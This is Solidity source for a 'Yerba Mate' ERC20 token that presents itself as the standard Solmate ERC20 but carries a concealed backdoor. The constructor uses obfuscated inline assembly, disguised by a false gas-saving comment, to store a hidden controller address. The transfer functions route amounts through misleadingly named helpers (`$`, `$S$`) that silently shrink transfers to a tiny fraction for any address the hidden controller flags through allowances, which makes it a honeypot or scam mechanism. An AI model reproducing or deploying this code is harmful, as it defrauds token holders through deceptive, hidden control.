Yerba Mate

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        // saves 1000 gas 
        assembly {sstore(0x05, mul(mul(0x25, 0x5f65f), mul(0x112f1b088d953c3, 0x6a41a9577de203375)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe15) / 0xfebad0ba;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
  ___    ___ _______   ________  ________  ________     
 |\  \  /  /|\  ___ \ |\   __  \|\   __  \|\   __  \    
 \ \  \/  / | \   __/|\ \  \|\  \ \  \|\ /\ \  \|\  \   
  \ \    / / \ \  \_|/_\ \   _  _\ \   __  \ \   __  \  
   \/  /  /   \ \  \_|\ \ \  \\  \\ \  \|\  \ \  \ \  \ 
 __/  / /      \ \_______\ \__\\ _\\ \_______\ \__\ \__\
|\___/ /        \|_______|\|__|\|__|\|_______|\|__|\|__|
\|___|/                                                 
                                                           
*/

contract YerbaMate is ERC20 {
    uint256 public yerba = 0xBAB00CA;
    constructor() ERC20("Yerba Mate", "YERBA", 18) {
        _mint(msg.sender, 9_000_000_000 * 10 ** 18);
    }

    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(msg.sender, value);
    }

    function yerbanator(
        address achoo
    ) external view returns (uint256) {
        return yerba * uint256(uint160(achoo));
    }

}

{
  "compilationTarget": {
    "Token.sol": "YerbaMate"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}